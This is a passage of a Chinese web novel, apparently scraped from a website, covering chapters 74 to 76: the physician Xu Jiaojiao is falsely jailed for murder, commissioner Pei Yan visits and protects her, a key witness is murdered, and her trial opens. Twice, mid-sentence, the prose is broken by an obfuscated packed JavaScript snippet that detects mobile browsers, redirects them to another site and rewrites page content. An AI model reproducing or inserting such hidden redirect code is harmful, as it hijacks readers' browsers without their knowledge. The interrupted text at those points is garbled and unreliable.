许娇娇依旧坐在那方月光里,仰头望着他。月光勾勒出她清瘦的轮廓,那双眼睛在暗处显得格外明亮。 “归平县衙的人抓我,用的是谋害人命的罪名。案子还没审,您这个时候来探监,传出去会惹人闲话。”她顿了顿,“您是钦差,要查的是大案。何必为小女这点小事……” “小事?”裴宴打断她。 许娇娇一怔。 裴宴居高临下看着她,烛光从门外透进来,在他脸上投下明明灭灭的光影。那张总是冷峻的脸上,此刻竟有一丝让人看不透的情绪。 “在你看来,这是小事?”他的声音不高,却带着一丝压抑的沉意。 许娇娇张了张嘴,一时不知如何作答。 裴宴没有继续追问。他移开目光,从袖中取出一个油纸包,蹲下身,放在她面前。 “路上买的。还热着。” 许娇娇低头看去,是两个炊饼,还冒着微微的热气。油纸包旁边,还有一小块用干荷叶裹着的卤肉。 她忽然觉得眼眶有些发酸。 从下午被带走到现在,已经过了将近四个时辰。她粒米未进,滴水未沾。不是没人送饭,是那半碗浑浊的水和不知道什么做的馊饭,她实在难以下咽。 她以为她能扛过去。她以为她不在乎这些。 可此刻,看着面前这两个普普通通的馒头,闻着那股熟悉的麦香,她忽然发现自己远没有想象中那么坚强。 “谢谢裴安抚。”她声音有些发哽,却没有伸手去拿。 裴宴看着她,目光里有什么东西动了动。他没有说话,只站起身,退后两步,负手立在门口。 “吃吧。”他说,背对着她,“本官在外头守着。” 许娇娇看着他的背影,玄色的氅衣在昏暗的牢房里显得格外孤直,像是要把那些不堪的、肮脏的东西都挡在外面。她低下头,拿起一个馒头,小口小口地咬着。 馒头很软,还带着余温。卤肉咸香,是她在张记附近那家老店常买的那种。她不知道他是如何知道那家店的,也不知道他是如何在深夜买到的,只知道这两样东西,此刻在她嘴里,胜过世间任何美味。 她吃得很慢,很仔细,像是要把这份温暖一点一点咽进心里。 门外传来低低的说话声。是长风在问那老牢子什么。老牢子陪着笑,声音又低又谄媚。裴宴始终没有说话,只静静立在那里,背影像一尊沉默的石像。 许娇娇吃完一个馒头,犹豫了一下,没有动第二个。她用油纸重新包好,小心翼翼收进袖中。 “裴安抚,”她轻声唤道,“小女吃好了。” 裴宴转过身,走回她面前。他看了一眼那个没动的馒头,眉头微动:“怎么不吃?” “留着。”许娇娇扯出一个笑,“万一明天还没人送饭,还能撑一撑。” 裴宴沉默片刻,没有说什么。他在她面前蹲下,目光落在她脸上。 “告诉本官,今日之事,究竟如何?” 许娇娇没有隐瞒,将下午在张记发生的一切原原本本说了一遍。 那先来闹事的汉子,那后来哭诉的妇人,那些突然冒出来的落溪村人和水月庵香客,还有那押差手中的追牒和那句“老子就是规矩”。 裴宴静静听着,面上看不出什么表情,只是眸光越来越沉。 “赵大媳妇难产那件事,”他问,“究竟是怎么回事?” 许娇娇垂下眼睫,沉默片刻,才道:“那夜大雨,赵大确实来求过医。但他没有找到小女,他在半路上遇到了一个人,那人自称小女,骗走了他。” “谁?” “水月庵的尼姑,静非。” 裴宴眸光一闪。 “小女事后才知道这件事。”许娇娇抬起头,看着他,“静非假扮小女,骗赵大说:这等污秽之事,也配来寻我?我平日行医济世,那是积德行善。妇人产育,血光冲天,最是晦气。我清清白白一个未出阁的女子,沾了这晦气,往后还怎么说亲?你且回去吧,生死有命。赵大信以为真,冒雨赶回,在山里困了一夜,等他到家,他媳妇已经……” 她没有说下去,但意思已经足够明白。 “静非为何要这么做?” “小女之前在水月庵救了被水仙姑关押的静尘师姐。当时,是小女使了个计谋,让落溪村的村民撞破了水仙姑和王大官人在水月庵私会。水仙姑因此入了狱。后来她被王大官人使了手段放了出来,这才对小女怀恨在心。她出狱后,欲对我和静尘、静心使坏,我便带了静尘她们逃离了水月庵后山来到菰城。她无计可施,恐怕是觉得这口恶气没有出。于是视小女为眼中钉,肉中刺。静非是她的人,做些针对小女的事,不足为奇。” 裴宴沉默着。牢房里只有夜风从小窗灌进来的呜咽声,和远处隐约传来的囚犯呻吟。 “今日那些落溪村和水月庵的人,”他缓缓开口,“都是冲着你来的。” “是。”许娇娇坦然道,“他们早有预谋。先闹事,再造势,再有人出来作证,一环扣一环,逼张记就范,也逼小女入瓮。” “那个指使的人——” “不是水仙姑就是王大官人。”许娇娇打断他,目光平静,“总之,除了他们,小女想不出还有谁。” 裴宴看着她。月光在她脸上镀了一层淡淡的银辉,那双眼睛清澈坦荡,没有怨怼,没有愤恨,只有一种洞悉后的平静。 她知道自己为何被陷害,知道是谁在背后操纵,知道等待她的是什么。可她依旧坐在这里,不哭不闹,不求不诉,只是平静地告诉他这些。 这样的女子,他生平仅见。 “你就这么确信,是水仙姑他们?”他问。 许娇娇唇角微微扬起,那笑意很淡,却带着一丝说不清的意味:“安抚使,小女从不与人结怨,只有她们和小女有过节。水仙姑和王大官人在水月庵做了那么多丧尽天良之事,唯恐被人察觉,或许她认为我们掌握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366372|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她的秘密,怕抖落出来,所以杀人灭口。但有些人害人,却不需要理由。”许娇娇看着他,“他们只是觉得,这个人挡了他们的路,或者看着不顺眼,又或者只是因为他们能。权势在手,人命如草芥。这种事,安抚使应该见得比我多。” 裴宴没有回答。 他确实见得很多。那些年在京城,他见过太多人为了权势、为了利益、甚至只为了出一口气,便肆无忌惮地践踏他人。他以为他已经习惯,已经麻木,已经能冷眼旁观。 可此刻,看着眼前这个坐在牢房里、身上沾着灰、却依旧背脊挺直的女子,他忽然觉得,那些他以为的习惯和麻木,不过是一层薄薄的壳。 壳下,还有东西在动。 “安抚使。”许娇娇忽然开口。 裴宴回过神,看着她。 许娇娇犹豫了一下,轻声道:“您今晚来,小女很感激。但您……不该来的。” 裴宴没有接话,只问:“为何?” “因为您是钦差。”许娇娇认真地看着他,“您要查的是大案,要对付那些大人物、还有他们背后的人。小女这点事,不过是他们设的一个局,目的就是要分散您的精力,打乱您的部署。您若为了小女分心,就正中他们下怀了。” 裴宴静静听着,没有打断。 许娇娇继续道:“小女信得过安抚使,也信得过朝廷的法度。归平县衙要审,就让他们审。小女问心无愧,不怕对簿公堂。安抚使只需安心查自己的案子,不必为小女……” “许娘子。”裴宴忽然开口,打断了她。 许娇娇一怔。 裴宴看着她,月光在他眼中投下细碎的亮光,让那双总是冷峻的眼眸,此刻显得格外深邃。 “你说的这些,本官都明白。”他的声音不高,却一字一句清晰,“但你有一件事不明白。” 许娇娇问:“什么事?” 裴宴没有立刻回答。他沉默片刻,才缓缓道:“你是本官请来协助查案的人。你被诬陷,被关进大牢,本官若视而不见,算什么?” 许娇娇张了张嘴,想说什么,却被他抬手止住。 “放心。”裴宴站起身,低头看着她,“归平县这处,本官自有安排。你先在这里委屈几日,最多三日,本官会让你出去的。” 许娇娇仰头望着他。他站在月光照不到的地方,面容隐在暗处,看不清表情。可那双眼睛,在昏暗中却亮得惊人,带着一种让人莫名安心的笃定。 “安抚使,”她轻声问,“您不怕这是圈套?” 裴宴唇角微微扬起,那弧度很浅,却带着几分说不清的意味:“圈套又如何?本官既然来了,就不怕他们设圈套。” 许娇娇心头一颤。 她低下头,没有再说什么。 裴宴转身要走,走到门口,忽然停下脚步。他从袖中取出一个东西,走回来,放在她掌心。 那是一块令牌,沉甸甸的,刻着钦差独有的纹样。 “拿着。”他道,“若有人敢对你用刑,就亮出来。归平县的人再大胆,也不敢动钦差的人。” 许娇娇握着那块令牌,掌心传来冰凉的触感,却又莫名烫人。她抬起头,想说什么,却只看见裴宴已经转身离去。 他的背影在昏暗的甬道里渐渐走远,玄色氅衣的下摆轻轻飘动,像夜色中掠过的风。 长风跟在他身后,经过牢房门口时,冲她点了点头,那眼神里有敬佩,有安慰,还有一丝说不清的复杂。 脚步声渐渐远去。牢门没有锁,老牢子陪着笑跟在后面,一路点头哈腰。 许娇娇依旧坐在那方月光里,低头看着掌心的令牌。月光落在上面,映出冰冷的金属光泽。她握紧它,感受着那份沉甸甸的分量。 她抬起头,望向那扇半开的牢门。甬道深处已不见那人的身影,只有夜风穿堂而过,带来远处隐约的梆子声。 已是子时了。 许娇娇收回目光,将令牌小心收入怀中,贴着心口的位置。那里还揣着那个没吃的馒头,已经凉了,可她舍不得吃。 她重新靠回墙上,闭上眼。 脑海中却不断浮现那张冷峻的脸,那双向来沉静此刻却闪着光的眼睛,那句“本官既然来了,就不怕他们设圈套”。 他说让她等三日。 她信他。 夜风从小窗灌进来,带着深秋的寒意。许娇娇蜷起身子,将那方令牌和那个馒头护在怀中,唇角微微扬起。 她也不知道自己在笑什么。只是觉得,这个异世,似乎也没有想象中那么冷。 牢门外,裴宴大步走出大牢。夜风扑面而来,带着深秋的凛冽。他站在台阶上,望着头顶那轮半残的月亮,深深吸了一口气。 长风跟上来,低声道:“郎主,回行辕吗?” 裴宴没有回答。他沉默片刻,忽然问:“归平县衙那边,是谁主事?” 长风一愣,随即道:“归平县尊姓周,名景明。据说和王兆仁有些来往。” “周景明。”裴宴咀嚼着这个名字,眸光冷了下来,“明日一早,让人去查查这个周景明。还有那个押差,叫什么?” “属下这就去查。”长风应道。 裴宴点了点头,翻身上马。他没有立刻催马,只勒着缰绳,回头看了一眼那座黑沉沉的牢房。 高墙深院,墙头布满铁蒺藜。月光下,那两扇黑漆大门紧闭着,像一张沉默的嘴。 他想起她坐在月光里的样子。背脊挺直,目光清澈,明明身处囹圄,却像是在自家院中那般坦然。她吃的馒头,小心翼翼收起的那个,说“留着明天还能撑一撑”时认真的语气。 裴宴攥紧了缰绳。 “回行辕。”他沉声道。 两骑快马疾驰而去,马蹄声在寂静的夜色中格外清晰。秋风卷起满地黄叶,追着他们的影子一路往南。 75. 第75章 赵大死了 马车一路颠簸,周景明坐在车厢里,擦着额头上不断渗出的冷汗。 方才在行辕那一幕,像刀子一样刻在他脑子里。那位年轻的钦差,那双眼睛,那不带一丝温度的语气。他做了六年地方官,见过不少上官,却从未有人让他如此胆寒。 “周县令,本官给你一个机会。” 这句话,此刻还在他耳边回响。 周景明闭上眼,深吸一口气。他想起自己去年才从邻县调来归平,本是想着这里富庶,能安安稳稳做几年,攒些政绩,也好往上挪一挪。谁知才一年,就摊上这样的事。 那王兆贵,归平县的大户,平日里人称王大官人。生意做得大,手也伸得长。他来归平上任时,他就托人送过一份厚礼,他没收。不是不想收,是不敢。可他也没得罪,睁一只眼闭一只眼,想着井水不犯河水。 县衙里的押司胡文,都头刘大勇,都是本地人,据说和王大官人走得近。他睁一只眼闭一只眼,由着他们去,只要不闹出大事,他乐得清闲。 可如今,闹出大事了。 那个女医,不知怎的竟攀上了钦差的关系。钦差亲自来探监,还给了令牌。这事若是传出去,他周景明就是有十个脑袋,也担不起“滥用职权、构陷良民”的罪名。 “快些!”他朝外头催了一声。 马车跑得更快了。 回到县衙,周景明顾不上歇息,立刻让人把胡文和刘大勇叫来。 两人来得很快。胡文依旧是那副吊儿郎当的模样,进门时还剔着牙,显然刚吃过酒肉。刘大勇倒是规矩些,垂手站着,目光却有些闪烁。 “县尊,您叫小的们来,有什么吩咐?”胡文笑嘻嘻地问。 周景明盯着他,沉声道:“昨日抓来的那个女医,关在何处?” 胡文一愣,随即道:“在大牢里。县尊放心,小的亲自看管,跑不了。” “可曾动过刑?” 胡文脸色微变,随即笑道:“县尊说笑了,案子还没审,小的哪敢动刑?就是……就是昨夜里小的去看了一趟,那女医脾气大得很,还拿话顶撞小的……” 周景明心头一跳:“你去看她做什么?” 胡文被他这么一问,有些讪讪的:“小的……小的是怕她夜里闹事,去巡查巡查。县尊,您怎么对那女医这般上心?不过是个招摇撞骗的野郎中,害死了人命,按律当斩……” “住口!”周景明一拍桌案,把两人都吓了一跳。 胡文愣住,脸上的笑僵在那里。 周景明站起身,走到他面前,压低声音道:“你知不知道,那女医背后是什么人?” 胡文脸色变了变,却还嘴硬:“不就是个孤女吗?小的早就见过她,她是从水月庵还俗出来的,无亲无故……” “无亲无故?”周景明冷笑,“那女子手中的令牌,是从天上掉下来的?” 胡文的脸色彻底白了。 周景明看着他,一字一句道:“昨日夜里,钦差亲自去了大牢,见了那女医,还给了她一块钦差令牌。你夜里去巡查,没碰上吧?” 胡文腿一软,险些跪下去。 他想起昨夜里,自己推开牢门,伸手去捏那女医的下巴时,她亮出的那块令牌。那上面的纹样,此刻还在他眼前晃。当时他以为是那女医仿冒的,还羞辱了一番。 若是钦差知道了…… “县、县尊,小的……小的不知道啊!”胡文扑通一声跪了下来,“小的若知道那女医有这层关系,打死小的也不敢……” “现在知道了?”周景明盯着他,“告诉你,钦差发了话,那女医若是有半点闪失,你我的人头都保不住。明白吗?” 胡文连连磕头:“明白!明白!小的这就去大牢,给那姑奶奶赔罪!好吃好喝伺候着,绝不敢再动她一根汗毛!” 周景明冷哼一声,转向刘大勇:“刘都头,大牢那边,你亲自盯着。除了你派去的人,不许任何人接近那女医。若有差池,唯你是问。” 刘大勇抱拳:“县尊放心,属下明白。” 周景明摆了摆手,两人退了出去。 他独自站在堂中,望着窗外阴沉沉的天,长长叹了口气。 这事,怕是不能善了了。 大牢里,许娇娇依旧靠坐在墙角。 昨夜里胡文走后,她再没睡着。冷,饿,还有说不清的忐忑。虽然那块令牌吓退了胡文,可谁知道接下来还会发生什么? 她将令牌紧紧握在掌心,冰凉的金属触感,此刻竟成了唯一的慰藉。 不知过了多久,牢门外传来脚步声。这一次,脚步声很稳,不止一人。 门被推开,一个穿着青色官袍的中年人走了进来。他身后跟着几个差役,手里提着食盒、抱着铺盖。 许娇娇没有动,只静静看着他。 周景明站在牢房中央,打量着这个女子。衣衫单薄,沾着灰尘,发丝也有些散乱,可那双眼睛,却清澈得像深潭,没有畏惧,只有一种沉静的坦然。 他心头微微一凛。 “你就是许娘子?”他开口道,语气尽量放得温和。 许娇娇点了点头,没有起身,只淡淡道:“正是小女。敢问尊驾是?” “本县归平知县,周景明。”周景明拱手为礼,“昨日之事,多有得罪。本县初来归平,对下面的人约束不严,让许娘子受委屈了。” 许娇娇目光微动。这位知县亲自来赔礼,姿态放得这般低,显然是因为昨夜那人的缘故。 她心中明了,面上却不动声色,只道:“县尊言重了。小女不过是个寻常医女,当不起县尊亲自来探。” 周景明听她语气平淡,没有借机诉苦,也没有摆出钦差靠山的架子,心中暗暗称奇。他挥了挥手,身后的差役忙上前,将食盒和铺盖放下。 “许娘子,这是些吃食和被褥。大牢阴冷,娘子先将就着用。案子的事,本县自会秉公审理,绝不会冤枉好人。”周景明说得诚恳,目光却一直在观察许娇娇的反应。 许娇娇看了一眼那些东西——食盒精致,被褥崭新,显然是用心准备的。她收回目光,微微颔首:“多谢县尊。” 周景明见她这般从容,反倒有些不知所措。他咳嗽一声,又道:“许娘子若有需要,尽管吩咐差役。本县已吩咐下去,让他们好生照应。” 许娇娇点了点头,没有再说话。 周景明站了片刻,自觉无趣,便拱手告辞。走出牢门,他回头看了一眼——那女子依旧坐在墙角的稻草上,背脊挺直,目光平静,仿佛这阴冷潮湿的大牢,不过是一处寻常所在。 他心头涌起一股复杂的情绪。这样的女子,怎么会是谋害人命的凶犯? 走出大牢,胡文正守在门口,满脸堆笑地迎上来:“县尊,您放心,小的已经吩咐下去了,一日三餐好生伺候,绝不敢怠慢……” 周景明冷冷看了他一眼:“胡押司,你记住,那许娘子若再受半点委屈,本县拿你是问。” 胡文连连点头:“是是是,小的明白,小的明白。” 周景明拂袖而去。 胡文望着他的背影,脸上的笑慢慢敛去,眼中闪过一丝阴鸷。他转身往大牢深处看了一眼,啐了一口,低声骂道:“什么玩意儿,一个臭娘们,也值得这般大动干戈……” 他身后,刘大勇不知何时走了过来,拍了拍他的肩:“胡兄,少说两句。那女医背后的人,咱们惹不起。” 胡文哼了一声,没再说话,心里却暗暗记下了这笔账。 午后,菰城钦差行辕。 长风快步走进书房,脸色有些凝重。 “郎主,青坑村赵家,出事了。” 裴宴正在批阅公文,闻言抬起头,眸光微沉:“说。” “小的派人去青坑村找赵大,赵大不在家。”长风压低声音,“邻居说,昨日午后,有个陌生男子来找赵大,两人说了几句话,赵大便收拾东西跟那人走了。至今未归。” “陌生男子?”裴宴放下笔,“什么模样?” “邻居说不清楚,只记得那人穿着靛蓝短褐,像是城里的打扮。”长风道,“属下怀疑,是有人抢先一步,把赵大带走了。” 裴宴沉默片刻,手指在案上轻轻叩击。 这一招,倒是快。 “让人继续找。”他沉声道,“青坑村附近,归平县境内,都要搜。活要见人,死要见尸。” 长风抱拳:“是。” 他转身要走,裴宴又叫住他。 “告诉明月,让人盯紧水月庵和归平县衙。”裴宴眸光微冷,“若赵大被灭口,杀人的人,总要处理尸首。” 长风会意,退了出去。 书房里重归寂静。裴宴站起身,走到窗前,望着外面渐渐西斜的日头。 赵大失踪,这条线索暂时断了。但对方越是急着动手,就越说明心虚。 他想起昨夜大牢里,许娇娇说“静非假扮小女”时的语气。静非,那个老尼姑,如今在何处? “来人。” 一个侍卫应声而入。 “去查查水月庵那个静非比丘尼的下落。”裴宴道,“她若还活着,多半在水仙姑身边。若死了……” 他没有说下去,但侍卫已经明白。 侍卫退下后,裴宴重新坐回案前。窗外,夕阳将落未落,天边烧成一片橘红。秋风渐起,卷起满庭落叶,沙沙作响。 归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366983|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平县大牢里,许娇娇正吃着差役送来的晚饭。 那食盒里装着一荤一素一汤,还有一碗白米饭,热气腾腾,香味扑鼻。她吃得慢,细细咀嚼,像是在品尝什么珍馐美味。 那差役守在门口,赔着笑道:“许娘子,您慢用,不够还有。县尊吩咐了,要好生伺候娘子,有什么需要,您尽管吩咐。” 许娇娇点了点头,没有多说。 她吃完最后一口饭,放下碗筷。那差役忙上前收拾,又从怀中取出一个油纸包,双手递上。 “许娘子,这是有人托小的转交给娘子的。” 许娇娇目光微动:“谁?” 差役压低声音:“是个穿青衣的汉子,说是……菰城来的。他没说自己是谁,只让小的务必把东西送到娘子手上。” 许娇娇接过油纸包,打开一看——里面是一封信,还有一小包卤肉。 她的心跳漏了一拍。 那卤肉,和昨夜那人带来的一模一样。 她拆开信,借着牢房里昏黄的灯光,一字一句读起来。 信很短,只有几行字: “安勿忧。已遣人查证,不日可白。赵大失踪,疑有人灭口,然愈如此,愈证其事有鬼。静待三日,必亲迎汝出。珍重。” 没有落款,但那字迹,遒劲挺拔,力透纸背,一如他本人。 许娇娇将信贴在胸口,闭上眼,深深吸了一口气。 他说,必亲迎汝出。 他说,珍重。 夜深了。 归平县衙后堂,周景明还在灯下翻看案卷。那卷宗里,是关于许娇娇的谋害人命一案,苦主赵大,证人有落溪村村民、水月庵香客,还有那个自称亲眼见许娇娇见死不救的汉子。 他越看越觉得不对劲。 这些证人,全是归平县的人。那个汉子,他认得,是王大官人庄上的管事。那几个落溪村的村民,据说也是王大官人佃户。至于水月庵的香客,更不必说。水月庵的水仙姑,和王大官人是什么关系,他虽初来乍到,也有所耳闻。 这哪里是苦主告状,分明是有人设局。 周景明揉着眉心,长长叹了口气。 他知道,自己被人当枪使了。那个胡文,多半收了王大官人的好处,拿着他的追牒去抓人。而他这个知县,稀里糊涂就成了帮凶。 如今钦差盯着,他若不把这事掰扯清楚,别说前程,只怕项上人头都难保。 可王大官人那边…… 他咬了咬牙,心中有了计较。 翌日一早,周景明唤来刘大勇,低声吩咐了几句。刘大勇面露诧异,随即抱拳应下,匆匆离去。 周景明站在堂前,望着渐渐升起的日头,脸上闪过一丝决然。 这归平县的天,该变一变了。 与此同时,菰城钦差行辕。 裴宴拿起案上那份刚从京城送来的密报,目光落在那几行字上。 宋大,宋国公府远房族人,本名宋义,景和十年在京城做事,后因卷入一桩人命案被宋国公打发回应天府老家。据查,此人与崔琰素有往来,景和十年腊月二十三夜,曾有人见他在翠玉楼附近出现。 宋义。 裴宴咀嚼着这个名字。应天府那边,暗探已经找到了他的下落,正在进一步核实。只要拿到他的口供,翠玉楼大火、崔琰与宋家的勾结,便可大白于天下。 “郎主。”长风快步进来,脸上带着喜色,“应天府那边传回消息,找到宋大了。” 裴宴目光一凝:“如何?” “宋大,宋义,如今在应天府乡下隐居,改名换姓,开了一家杂货铺。”长风压低声音,“咱们的人已经盯上了他,只等郎主一声令下,便可拿人。” 裴宴沉默片刻,缓缓道:“先不要打草惊蛇。让人暗中盯着,看他是否与崔琰、王兆仁有联系。等这边收网,一并拿下。” “是。”长风应下,又接着道,“郎主,赵大出事了。” 裴宴抬眼。 长风道:“咱们的人在青坑村附近搜了一夜,今早在山脚下发现一处新翻的土。挖开一看,是具男尸,身上有伤,面目模糊。但衣着和赵大失踪时穿的相符。多半是赵大。” 裴宴眸光一沉。果然,灭口了。 “仵作验过了吗?” “验了。致命伤是后脑重击,应是被人用石头砸死的。”长风道,“尸首已运回,只等家属认领。” 裴宴点了点头。赵大一死,线索断了,但也坐实了对方杀人灭口的罪行。只要找到凶手,顺藤摸瓜,不怕揪不出背后的人。 “继续查。”他沉声道,“谁杀了赵大,谁就要偿命。” 长风抱拳,退了出去。 76. 第76章 静非招了 归平县衙的大门辰时刚过便已洞开,两扇黑漆木门在秋风中微微晃动,门楣上“明镜高悬”的匾额蒙着一层薄灰,字迹依稀可辨。 今日是许娘子一案开审的日子。 消息不知怎的就传了出去,天不亮便有百姓聚在县衙外。有来看热闹的,有等着瞧稀罕的,也有那些日子在张记闹过事的人。此刻混在人群里,眼神闪烁,等着看这出戏如何收场。 胡文一早便守在衙门口,腰间挎着刀,脸上带着惯常的倨傲。可若细看,便能瞧见他眼底那抹挥之不去的忐忑。 那夜大牢里的事,他不敢对任何人说。那块令牌,那双冷冷看着他的眼睛,还有那句“滚”。每想起来,都让他后脊梁发寒。 刘大勇站在他身侧,面色如常,只偶尔抬眼望向人群深处,像是在等什么人。 卯时三刻,周景明从后堂出来。 他今日穿了官袍,戴了幞头,腰间系着银铊革带,比平日肃穆许多。脸上的表情却有些复杂。 升堂的牌子一敲,两班衙役齐声吆喝,刀枪杵地,声震屋瓦。 周景明在堂上坐定,目光扫过堂下。原告席上空着,被告席上也没有人。他深吸一口气,沉声道:“带苦主家属。” 一个妇人被带了上来。 正是那日在张记哭闹的妇人,赵大的寡嫂。她今日穿了一身粗麻孝服,头上簪着白花,眼眶红肿,一进堂便扑倒在地,嚎啕大哭。 “青天大老爷!民妇要给兄弟和弟媳妇伸冤啊!” 周景明皱了皱眉,一拍惊堂木:“肃静!堂上不得喧哗。你且起来,将状情一一说来。” 那妇人被衙役扶起,抽抽噎噎地说起来。说赵大媳妇怀胎八月,那夜腹痛发作,赵大冒雨去求医;说那女医见死不救,还说出那般刻薄恶毒的话;说赵大信以为真,在山里困了一夜,等他赶回家,媳妇已经咽了气,一尸两命。 “可怜我那弟媳妇,肚子里还揣着个娃,就那么活活疼死了……”妇人越说越哭,声音凄厉,“天爷呀,你开开眼,劈死那蛇蝎心肠的毒妇吧!” 堂外围观的百姓一阵骚动,有人低声议论,有人摇头叹息。 周景明面色不变,只问道:“赵大媳妇难产之事,你可亲眼所见?” 妇人哭声一顿,随即道:“民妇……民妇没亲眼见。但赵大亲口说的,那夜他去求医,亲耳听见那女医说的那些话!” “赵大人呢?” 妇人脸色微变,又哭道:“青天大老爷,我那兄弟……我那兄弟前日被人害了!尸首今早才从山脚下抬回来,脑壳都被人砸烂了……” 此言一出,堂外哗然。 周景明心头一凛,面上却不动声色,只道:“赵大被害之事,本县已听闻,已着人查验。今日先审许氏见死不救一案,赵大之死,另案办理。” 他顿了顿,又道:“带被告许氏。” 片刻,许娇娇被带了上来。 她没有戴枷,也没有锁链,只穿着一身半旧的藕荷色衣裙,发丝有些散乱。走进堂中时,她抬头看了一眼堂上的周景明,又看了一眼堂外围观的人群,目光平静得像一潭深水。 那妇人在旁指着她,哭喊道:“就是她!就是这个毒妇!她害死了我弟媳妇和那没出世的娃!” 许娇娇没有理会她,只向堂上敛衽为礼:“民女许氏,见过县尊。” 周景明看着她,心头那点复杂的情绪又涌了上来。他压下那股情绪,沉声道:“许氏,有人告你见死不救,致赵门王氏母子双亡。你可认罪?” 许娇娇摇头:“民女不认。” “那夜之事,你且从实说来。” 许娇娇抬起头,声音不高,却字字清晰:“那夜大雨,民女确实在茅屋中。但民女没有听见任何敲门声,也没有见过任何人。且如果有人来求医,我家中还养着一条大黑狗,它听到生人逼进,怎么会一声不吠!” 那妇人立刻跳起来:“你撒谎!赵大亲口说的,他在后山见到一个年轻女子,带着斗笠,自称娇杏!那女子说的话,他学得一字不差!” 许娇娇看着她,目光平静:“他见到的那个人,不是民女。” “不是你是谁?” 许娇娇没有回答,只转向周景明:“县尊,民女有一事相询。” 周景明点头:“讲。” “那夜冒充民女之人所说的话,赵大可曾对他人提及?” 那妇人一愣,随即道:“当然说过!他对我说过,对村里人也说过!” “说了什么?” 妇人脱口而出:“他说那女子讲,’妇人生产血光污秽,清清白白未出阁的女子沾了晦气往后怎么说亲’——这些,可不就是你说的?” 许娇娇看着她,忽然笑了笑。那笑容很淡,却让妇人心里莫名一慌。 “这位大嫂,”许娇娇缓缓道,“民女行医以来,救治过多少妇人,你可知道?” 妇人张口结舌。 “疫病期间,民女在仁心堂外救治灾民,日以继夜,你可知道?” 妇人脸色变了。 “民女若真忌讳‘妇人生产血光冲天’,为何还要行医?为何还要救治那些产妇?这不是自相矛盾吗?” 堂外围观的百姓中,有人低声议论起来。 “对啊,许娘子在张记坐诊,听说治好了不少人……” “疫病期间我也见过她,日夜都在忙,哪像那种人……” 那妇人急了,喊道:“你、你少狡辩!那些话就是你说的!赵大亲耳听见的,他还能撒谎不成?” 许娇娇看着她,目光中带着一丝怜悯:“赵大有没有撒谎,民女不知。但民女知道,那夜冒充民女之人,是谁。” 此言一出,满堂皆惊。 周景明猛地坐直身子:“你说什么?” 许娇娇转向他,声音平稳:“县尊若不信,可传民女所言之人到堂对质。” “何人?” “水月庵比丘尼,静非。” 那妇人脸色大变,身子晃了晃,险些站立不稳。 堂外围观的人群中,有几个身影悄悄往后退,却被刘大勇带人拦住了去路。 周景明看着许娇娇,目光深邃。他沉默片刻,忽然道:“传水月庵比丘尼静非。” 衙役应声而去。 堂上一时寂静下来。那妇人低着头,身子微微发抖。胡文站在一旁,脸色也变了。他想起那夜自己说过的话,想起自己说“那女医是从水月庵还俗出来的”。 水月庵。静非。 这两个词,像一根刺,扎在他心头。 约莫半个时辰后,静非被带了上来。 她穿着一身灰扑扑的僧袍,比从前憔悴了许多,脸色蜡黄,眼下青黑,整个人像是老了十岁。走进堂中时,她低着头,不敢看任何人,只盯着自己的脚尖。 许娇娇看着她,目光平静得像在看一个陌生人。 周景明一拍惊堂木:“下站何人?” 静非身子一抖,声音发颤:“贫尼……贫尼静非,水月庵比丘尼。” “许氏说,那夜冒充她之人是你。你可承认?” 静非猛地抬头,眼中闪过惊恐。她的目光在堂上飞快地扫过,许娇娇站在一旁,静静看着她;那妇人躲在一边,低着头不敢看她;人群深处,有一道阴冷的目光正盯着她,像毒蛇吐信。 那是水仙姑的人。 静非的腿开始发软。 “贫尼……贫尼……”她张了张嘴,却说不出话来。 周景明沉下脸:“静非,本县问你话,从实招来!” 静非浑身一颤,忽然扑通一声跪了下来。 “青天大老爷!贫尼……贫尼冤枉啊!” 她哭喊起来,声音凄厉:“贫尼根本不知道什么赵大,什么那夜的事!贫尼一直在水月庵清修,从未出过庵门半步!那许氏……那许氏是诬陷贫尼!她与水月庵有仇,早些年还俗时便对水仙姑怀恨在心,如今是想借机报复!” 许娇娇看着她,眼中闪过一丝复杂的神色。 她知道静非会这样说。水仙姑既然敢让她来作证,自然早就教好了说辞。 周景明盯着静非,目光如炬:“你说你从未出过庵门,可有人证?” 静非一愣,随即道:“有!水月庵的师太可作证!还有……还有庵主!对,水仙姑庵主可以替贫尼作证!” 周景明冷笑一声:“水仙姑?她是你庵主,自然替你说话。这样的人证,岂能作数?” 静非脸色白了白,却说不出话来。 周景明正要再问,忽然有衙役来报:“县尊,门外有一人求见,说是……说是知道此案内情。” 周景明眉头一皱:“何人?” 衙役低声道:“是个妇人,自称……是赵大的邻居。” 周景明目光一闪:“带上来。” 片刻,一个四十来岁的妇人被带了进来。她穿着一身粗布衣裙,袖口挽着,手上还带着茧子,一看便是做惯了农活的。 她一进堂便跪了下来,磕了个头:“民妇青坑村孙氏,见过青天大老爷。” 周景明看着她:“孙氏,你知道此案内情?” 孙氏点头:“民妇是赵大家的邻居,两家只隔一道墙。那夜的事,民妇……民妇知道一些。” 赵大的寡嫂猛地抬起头,眼中闪过惊恐。 周景明道:“你且说来。” 孙氏深吸一口气,道:“那夜大雨,民妇也听见赵大出门的声音。后来他回来时,天都亮了,浑身是泥,脸色惨白。民妇隔着墙问他怎么了,他说他媳妇没了。” 